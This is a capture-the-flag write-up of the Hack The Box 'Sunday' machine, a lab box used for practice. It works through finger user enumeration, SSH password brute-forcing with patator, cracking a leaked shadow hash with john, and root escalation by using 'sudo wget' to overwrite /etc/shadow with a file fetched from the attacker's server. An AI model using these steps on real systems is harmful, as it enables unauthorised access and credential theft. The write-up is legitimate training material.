Hack The Box Write-up - Sunday

8 minute read Published:

Write-up for the machine Sunday from Hack The Box. The box is pretty straightforward but still cool to do. You start with enumerating finger, finding some usernames. If you did thorough port scans and did not miss SSH on a non-standard port, one of these names allow you to brute-force your way into the box. Cracking a password hash from a shadow-file backup you find get's you to the other, from which you can escalate to root after realizing you can sudo wget.
Table of Contents

After quite a while, this is another write for a Hack The Box machine. This time for “Sunday”, a relatively easy machine based on Solaris. Never worked with this OS before, so I was keen to see what I would find.

Enumeration

Port scan

To start, we quickly scan the ports of the box. An initial scan with high rate using masscan takes only a few seconds and reveals a few open ports:

 $ masscan -e tun0 -p 1-65535 --rate 2000 10.10.10.76
...
Discovered open port 111/tcp on 10.10.10.76
Discovered open port 42492/tcp on 10.10.10.76
Discovered open port 62177/tcp on 10.10.10.76
Discovered open port 22022/tcp on 10.10.10.76
Discovered open port 79/tcp on 10.10.10.76
...

Had we scanned with nmap initially, we would either miss the high non-standard ports or the scan would take very long. masscan is much faster. Only for all open ports we follow up with a more thorough nmap scan:

 $ nmap -sV -sC -p 111,42492,62177,22022,79 10.10.10.76
...
PORT      STATE SERVICE   VERSION
79/tcp    open  finger    Sun Solaris fingerd
|_finger: No one logged on\x0D
111/tcp   open  rpcbind   2-4 (RPC #100000)
Connection closed by foreign host.
22022/tcp open  ssh       SunSSH 1.3 (protocol 2.0)
| ssh-hostkey:
|   1024 d2:e5:cb:bd:33:c7:01:31:0b:3c:63:d9:82:d9:f1:4e (DSA)
|_  1024 e4:2c:80:62:cf:15:17:79:ff:72:9d:df:8b:a6:c9:ac (RSA)
42492/tcp open  unknown
62177/tcp open  smserverd 1 (RPC #100155)
Service Info: OS: Solaris; CPE: cpe:/o:sun:sunos
...

We find a Solaris machine, as promised by the HackTheBox machine list. We also see a few interesting services like finger and rcpbind, which suggests there might be NFS shares. An SSH daemon is running on a non-standard port as well. Moreover, we have a few higher-region ports with services I do not know too much about.

fingerd

Finger is very easy to enumerate, so we go for that one first. First some background. finger is an ancient network protocol that allows remote users to get information about users of a machine. It has a history of being related to security issues (e.g., Morris worm in 1988) and allows enumeration of system users with word lists.

To query information, use the finger tool, which is the client for fingerd. Give it a username and host and it will either output information if that user exists, or “???” if it does not:

 $ finger -ls [email protected]
Login name: root                        In real life: Super-User
Directory: /root                        Shell: /usr/bin/bash
Last login Thu Sep 13 20:42 on pts/3 from sunday
Mail last read Thu Sep 13 20:45:34 2018
No Plan.

 $ finger -ls [email protected]
Login name: non-existing-user                   In real life: ???

The same can be achieved without finger just by using plain old telnet:

 $ telnet 10.10.10.76 79
Trying 10.10.10.76...
Connected to 10.10.10.76.
Escape character is '^]'.
root
Login       Name               TTY         Idle    When    Where
root     Super-User            pts/3        <Apr 24 10:37> sunday

 $ telnet 10.10.10.76 79
Trying 10.10.10.76...
Connected to 10.10.10.76.
Escape character is '^]'.
non-existing-user
Login       Name               TTY         Idle    When    Where
non-existing-user       ???
Connection closed by foreign host.

Some information on users that should exist on the box by default can be found in the Oracle Solaris documentation.

To find other users, we can enumerate finger with a username wordlist. A good list is in SecLists at Usernames/Names/names.txt. It has about 10k lines. A short Bash script will do the trick:

#!/bin/bash

wordlist=/opt/SecLists/Usernames/Names/names.txt

while read user; do
    if [ "$user" == "" ]; then
        continue
    fi

    result=`finger $user@10.10.10.76`
    if [[ ! $result =~ ^.*\?\?\?.*$ ]]; then
        echo "### --- ###"
        echo "User found: $user"
        echo " --- Details:"
        echo $result
        echo ""
    fi
done < $wordlist

Note that fingerd does not return information only on the user you request. Rather, it will do some sort of full text search in the user information. For example, it will return information on “nobody4” when querying for “user” since the real name of “nobody4” is “SunOS 4.x NFS Anonymous Access User”. You could disable this behaviour with a flag, but ouch chances of discovering users would only get lower.

The script runs for a while and provides us with two interesting usernames:

 $ ./finger_enum.sh
...
### --- ###
User found: sammy
 --- Details:
Login Name TTY Idle When Where sammy sammy pts/3 <Sep 13 20:40> 10.10.15.130

...
### --- ###
User found: sunny
 --- Details:
Login Name TTY Idle When Where sunny sunny pts/3 <Apr 24 10:48> 10.10.14.4

...

Breaking in

SSH password guessing

Knowing some usernames, we can go on trying to log into the system. For each user, try a few obvious things related to the sun or to Sunday. My short list of passwords was:

admin
password
123456
sunny
sun
sunshine
sunlight
sunday
monday
tuesday
wednesday
thursday
friday
saturday
weekend

Putting usernames into a file “usernames.txt” and the list above into “passwords.txt”, we can brute force our way in. You could try brute-forcing SSH with Hydra, but for some reason it does not work. After some desperate hours, I’ve discovered patator and like to use it since then, since it feels more reliable. It can be used on many different services including SSH and is very easy to use. Getting into SSH on this box works like so:

 $ ./patator.py ssh_login host=10.10.10.76 port=22022 user=FILE0 0=/htb/sunday/usernames.txt password=FILE1 1=/htb/sunday/passwords.txt
13:40:08 patator    INFO - Starting Patator v0.7 (https://github.com/lanjelot/patator) at 2018-09-15 13:40 EDT
13:40:08 patator    INFO -
13:40:08 patator    INFO - code  size    time | candidate                          |   num | mesg
13:40:08 patator    INFO - -----------------------------------------------------------------------------
...
13:40:10 patator    INFO - 1     22     0.164 | sunny:weekend                      |    15 | Authentication failed.
13:40:11 patator    INFO - 0     19     0.301 | sunny:sunday                       |     8 | SSH-2.0-Sun_SSH_1.3
13:40:11 patator    INFO - 1     22     0.264 | sunny:sunlight                     |     7 | Authentication failed.
...
13:40:13 patator    INFO - Hits/Done/Skip/Fail/Size: 30/30/0/0/30, Avg: 5 r/s, Time: 0h 0m 5s

All requests return “Authentication failed.” except for credentials “sunny” / “sunday”, which give “SSH-2.0-Sun_SSH_1.3”. This means we found valid login credentials.

From sunny to sammy

We can use our newly found credentials to log in via SSH:

 $ ssh -p 22022 [email protected]
Password:
Last login: Wed Sep 12 20:57:00 2018 from 10.10.15.130
Sun Microsystems Inc.   SunOS 5.11      snv_111b        November 2008
[email protected]:~$

Starting from here, we could proceed with any of the standard Linux privilege escalation scripts. It would likely break for some parts though since Solaris is not exactly like Linux, which is why I proceeded with poking around manually to start.

Rabbit hole

An easy thing to find is that sunny has sudo execution rights on “/root/troll”:

[email protected]:~$ sudo -l
User sunny may run the following commands on this host:
    (root) NOPASSWD: /root/troll

[email protected]:~$ sudo /root/troll
testing
uid=0(root) gid=0(root)

It seems to just print “testing” and then run id. I did not investigate further as the name suggests we won’t find anything useful.

Cracking sammy’s password

Instead, look around further and you find a strange folder “/backup” with a file named “shadow.backup” inside. The content looks like it really is a backup of “/etc/shadow”:

[email protected]:/$ cat /backup/shadow.backup
...
sammy:$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:6445::::::
sunny:$5$iRMbpnBv$Zh7s6D7ColnogCdiVE5Flz9vCZOMkUFxklRhhaShxv3:17636::::::

There are two SHA256 password hashes for users sammy and sunny. We know they are SHA256 hashes as they start with “$5$” (check this page for how to read shadow files). Assuming the file contains the current passwords, the one for “sunny” should be “sunday”. We can verify that by regenerating sunny’s password hash with the salt “iRMbpnBv” found in the backed-up shadow file:

 $ mkpasswd -m sha-256 -S iRMbpnBv sunday
$5$iRMbpnBv$Zh7s6D7ColnogCdiVE5Flz9vCZOMkUFxklRhhaShxv3

They match. Let’s crack sammy’s password and hope that it is also still in use. Put the password hash “$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB” into a file “sammy-hash.txt” and run (jumbo)john against the “rockyou” wordlist:

 $ john ./sammy-hash.txt  --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha256crypt, crypt(3) $5$ [SHA256 128/128 AVX 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
cooldude!        (?)
...

It discovers the format automatically and returns the password after a short time. The password is “cooldude!”

From sammy to root

With out new credentials “sammy” / “cooldude!”, we can open a new SSH session. Remember that sunny was able to run sudo? What about sammy?

[email protected]:~$ sudo -l
User sammy may run the following commands on this host:
    (root) NOPASSWD: /usr/bin/wget

This is a lot more interesting that the “troll” thing. With wget -O we can download a file and specify a location to write it to. As root, we can overwrite pretty much any configuration file. Thus, lot’s of different ways to get into root exist from here. You could overwrite wget with bash, then run it as sammy with sudo. You could overwrite the “/etc/sudoers” file to add new permissions (TODO: possible wihtout restart?). You could overwrite “/etc/shadow” with a root password you know. Probably many more ways exist.

To not destroy the experience of other players, use a non-destructive method. I just prepended a line to the backup of “etc/shadow” to reuse the password “sunday” of sunny for root:

root:$5$iRMbpnBv$Zh7s6D7ColnogCdiVE5Flz9vCZOMkUFxklRhhaShxv3:17636::::::
mysql:NP:::::::
openldap:*LK*:::::::
webservd:*LK*:::::::
postgres:NP:::::::
svctag:*LK*:6445::::::
nobody:*LK*:6445::::::
noaccess:*LK*:6445::::::
nobody4:*LK*:6445::::::
sammy:$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:6445::::::
sunny:$5$iRMbpnBv$Zh7s6D7ColnogCdiVE5Flz9vCZOMkUFxklRhhaShxv3:17636::::::

Serve this file with python -m SimpleHTTPServer 8000 and then download it with sudo as sammy:

[email protected]:~$ sudo wget -O /etc/shadow http://10.10.15.130:8000/shadow
--17:31:08--  http://10.10.15.130:8000/shadow
           => `/etc/shadow'
Connecting to 10.10.15.130:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 392 [application/octet-stream]

100%[==================================================================================================================>] 392           --.--K/s

17:31:08 (60.37 MB/s) - `/etc/shadow' saved [392/392]

Now, a simple su - followed by password “sunday” is enough to become root.

Conclusion

Very nice box with a few brute-forcing challenges and a basic privesc. Nice to see an old-school OS, feels very retro :)

Other write-ups for this box:

  • ippsec video on YouTube.
  • Collection of various write-ups, accessible only with the flag: GitHub
  • Alternative and probably unintended privesc here. For some reason, user “sammy” seems to have a “root” role assinged in “/etc/user_attr” and you can use a tool named pfexec to run commands with these privileges.
  • Alternative way to use wget to for privesc but just to extract the flag here. It seems wget can not just retrieve content but also POST files to your own web server, so combined with sudo you can just send the flag to yourself.